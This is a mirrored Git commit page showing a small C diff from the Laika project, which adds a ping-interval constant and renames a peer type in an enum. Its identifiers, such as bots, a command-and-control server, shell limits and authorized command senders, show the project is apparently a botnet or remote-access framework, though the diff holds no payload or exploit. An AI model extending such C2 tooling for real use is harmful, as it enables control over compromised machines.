mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-27 05:31:03 +00:00
Lib: added PEER_PEER type for uninitalized peers
- defined LAIKA_PING_INTERVAL for the ping task
This commit is contained in:
@@ -16,6 +16,7 @@
|
||||
#define LAIKA_MAX_SHELLS 16
|
||||
|
||||
#define LAIKA_HANDSHAKE_SALT_LEN 32
|
||||
#define LAIKA_PING_INTERVAL 5000
|
||||
|
||||
/*
|
||||
first handshake between peer & cnc works as so:
|
||||
|
||||
@@ -9,9 +9,9 @@
|
||||
|
||||
typedef enum
|
||||
{
|
||||
PEER_UNKNWN,
|
||||
PEER_PEER, /* unlogged-in peer */
|
||||
PEER_BOT,
|
||||
PEER_CNC, /* cnc 2 cnc communication */
|
||||
PEER_CNC, /* cnc 2 cnc communication (unused) */
|
||||
PEER_AUTH /* authorized peers can send commands to cnc */
|
||||
} PEERTYPE;
|
||||
|
||||
|
||||
Reference in New Issue
Block a user